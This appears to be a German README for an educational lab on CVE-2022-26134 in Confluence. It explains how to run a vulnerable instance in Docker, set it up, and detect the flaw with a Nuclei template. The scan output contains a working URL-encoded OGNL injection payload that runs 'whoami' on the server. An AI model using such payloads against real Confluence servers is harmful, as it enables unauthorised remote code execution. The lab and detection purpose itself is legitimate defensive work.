CVE-2022-26134-LAB

Confluence Server und Confluence Data Center enthalten eine schwerwiegende, nicht authentifizierte Schwachstelle zur Remote-Codeausführung, die als CVE-2022-26134 identifiziert wurde, so ein Sicherheitshinweis von Atlassian vom 2. Juni 2022. Die Schwachstelle war zum Zeitpunkt der Veröffentlichung am 2. Juni noch nicht gepatcht und wurde in freier Wildbahn ausgenutzt. Seit dem 3. Juni sind sowohl Patches als auch eine temporäre Problemumgehung verfügbar.

Dieses Repository ist ausschließlich für experimentelle und Bildungszwecke gedacht.

Abhängigkeiten

• Docker
• Nuclei

Verwundbare Confluence-Umgebung

Ausführen der verwundbaren Umgebung

docker-compose up

Sobald sie gestartet ist, können Sie auf den Confluence-Server über die folgende URL-Adresse zugreifen:

http://127.0.0.1:8090/

Confluence Server einrichten

1. Beim ersten Besuch der Website werden Sie durch die Einrichtung geführt.
2. Setzen Sie keine Häkchen und wählen Sie auf der Seite „Get apps" die Option „Next".
3. Klicken Sie auf der Lizenzschlüsselseite auf den Link mit der Aufschrift „Get an evaluation license".
4. Sie werden zu my.atlassian.com weitergeleitet. Stellen Sie sicher, dass der ausgewählte Lizenztyp Confluence (Data Center) ist. Geben Sie einen beliebigen Organisationsnamen ein. Stellen Sie sicher, dass das Optionsfeld für „Your instance is" auf „up and running" gesetzt ist. Nachdem Sie diese Details überprüft haben, klicken Sie auf die Schaltfläche „Generate License".
5. Ein Bestätigungsdialog wird eingeblendet, der fragt, ob Sie es auf dem Server installieren möchten: 127.0.0.1. Wählen Sie „Yes".
6. Die Auswahl von „Yes" füllt automatisch den Lizenzschlüssel auf Ihrer lokalen Confluence-Instanz aus. Wählen Sie „Next".
7. Wählen Sie den Bereitstellungstyp „Standalone" und klicken Sie auf „Next".
8. Auf der Seite zum Einrichten Ihrer Datenbank sollten die Details wie folgt ausgefüllt werden:
   • Datenbanktyp: PostgreSQL
   • Einrichtungsart: Simple
   • Hostname: db
   • Port: 5432
   • Datenbankname: confluence
   • Benutzername: confluence
   • Passwort: 123456789
9. Nach dem Ausfüllen dieser Felder drücken Sie die Schaltfläche „Test connection". Sie sollten die Meldung „Success! Database connected successfully" erhalten. Klicken Sie dann auf „Next".
10. Die Einrichtung Ihrer Datenbank beginnt. Dies kann eine Weile dauern. Bleiben Sie dran.
11. Sobald die Datenbankeinrichtung abgeschlossen ist, befinden Sie sich auf der Seite „Load Content". Wählen Sie die Schaltfläche „Example Site".
12. Wählen Sie als Nächstes auf der Seite „Configure User Management" die Option „Manage users and groups with Confluence".
13. Erstellen Sie auf der Seite „Configure System Administrator Account" ein Konto und wählen Sie „Next".
14. Sobald dies abgeschlossen ist, sehen Sie, dass die Einrichtung erfolgreich war. Drücken Sie „Start".
15. Sie werden aufgefordert, einen „Raum zum Speichern Ihrer Arbeit zu erstellen". Geben Sie einen beliebigen Raumnamen ein.
16. Überspringen Sie das Tutorial.
17. Sie haben jetzt die Evaluierungseinrichtung von Confluence Server abgeschlossen.

Erkennen von CVE-2022-26134

Die Schwachstelle ist eine OGNL-Injection-Schwachstelle, die den HTTP-Server betrifft. Die OGNL-Nutzlast wird in den URI einer HTTP-Anfrage eingefügt. Jede Art von HTTP-Methode scheint zu funktionieren, ob gültig (GET, POST, PUT usw.) oder ungültig (z. B. „BALH").

https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

Verwenden von Nuclei

Führen Sie den folgenden Nuclei-Befehl aus:

nuclei -u http://127.0.0.1:8090 -t nuclei-templates/cves/2022/CVE-2022-26134.yaml

Scan-Ausgabe

[CVE-2022-26134] [http] [critical] http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ [confluence]